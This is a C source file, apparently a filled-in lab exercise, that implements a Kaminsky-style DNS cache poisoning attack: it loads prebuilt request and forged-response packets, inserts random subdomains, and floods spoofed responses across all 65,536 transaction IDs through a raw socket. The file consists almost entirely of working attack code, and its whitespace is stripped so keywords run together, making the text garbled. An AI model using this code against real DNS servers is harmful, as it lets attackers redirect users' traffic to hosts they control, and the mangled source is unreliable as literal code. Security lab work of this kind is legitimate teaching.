#include<stdlib.h>#include<arpa/inet.h>#include<string.h>#include<stdio.h>#include<unistd.h>#include<time.h>#include<windows.h>#define MAX_FILE_SIZE 1000000/* IP Header */structipheader{unsignedchariph_ihl:4,//IP header lengthiph_ver:4;//IP versionunsignedchariph_tos;//Type of serviceunsignedshortintiph_len;//IP Packet length (data + header)unsignedshortintiph_ident;//Identificationunsignedshortintiph_flag:3,//Fragmentation flagsiph_offset:13;//Flags offsetunsignedchariph_ttl;//Time to Liveunsignedchariph_protocol;//Protocol typeunsignedshortintiph_chksum;//IP datagram checksumstructin_addriph_sourceip;//Source IP address structin_addriph_destip;//Destination IP address };voidsend_raw_packet(char*buffer,intpkt_size);voidsend_dns_request(unsignedchar*packet_template,intpacket_size,char*subdomain);voidsend_dns_response(unsignedchar*packet_template,intpacket_size,char*subdomain,inttransaction_id);intmain(){srand(time(NULL));// Load the DNS request packet from fileFILE*f_req=fopen("ip_req.bin","rb");if(!f_req){perror("Can't open 'ip_req.bin'");exit(1);}unsignedcharip_req[MAX_FILE_SIZE];intn_req=fread(ip_req,1,MAX_FILE_SIZE,f_req);// Load the first DNS response packet from fileFILE*f_resp=fopen("ip_resp.bin","rb");if(!f_resp){perror("Can't open 'ip_resp.bin'");exit(1);}unsignedcharip_resp[MAX_FILE_SIZE];intn_resp=fread(ip_resp,1,MAX_FILE_SIZE,f_resp);chara[26]="abcdefghijklmnopqrstuvwxyz";while(1){// Generate a random name with length 5charname[6];name[5]='\0';for(intk=0;k<5;k++)name[k]=a[rand()%26];send_dns_request(ip_req,n_req,name);for(inttid=0;tid<65536;tid++){printf("tid: %u\n",tid);send_dns_response(ip_resp,n_resp,name,tid);sleep(2);}}}/* Use for sending DNS request. * Add arguments to the function definition if needed. * */voidsend_dns_request(unsignedchar*packet_template,intpacket_size,char*subdomain){memcpy(packet_template+41,subdomain,5);send_raw_packet(packet_template,packet_size);}/* Use for sending forged DNS response. * Add arguments to the function definition if needed. * */voidsend_dns_response(unsignedchar*packet_template,intpacket_size,char*subdomain,inttransaction_id){memcpy(packet_template+41,subdomain,5);memcpy(packet_template+64,subdomain,5);unsignedshortid_net_order=htons(transaction_id);memcpy(packet_template+28,&id_net_order,2);send_raw_packet(packet_template,packet_size);}/* Send the raw packet out * buffer: to contain the entire IP packet, with everything filled out. * pkt_size: the size of the buffer. * */voidsend_raw_packet(char*buffer,intpkt_size){structsockaddr_indest_info;intenable=1;// Step 1: Create a raw network socket.intsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);// Step 2: Set socket option.setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&enable,sizeof(enable));// Step 3: Provide needed information about destination.structipheader*ip=(structipheader*)buffer;dest_info.sin_family=AF_INET;dest_info.sin_addr=ip->iph_destip;// Step 4: Send the packet out.sendto(sock,buffer,pkt_size,0,(structsockaddr*)&dest_info,sizeof(dest_info));close(sock);}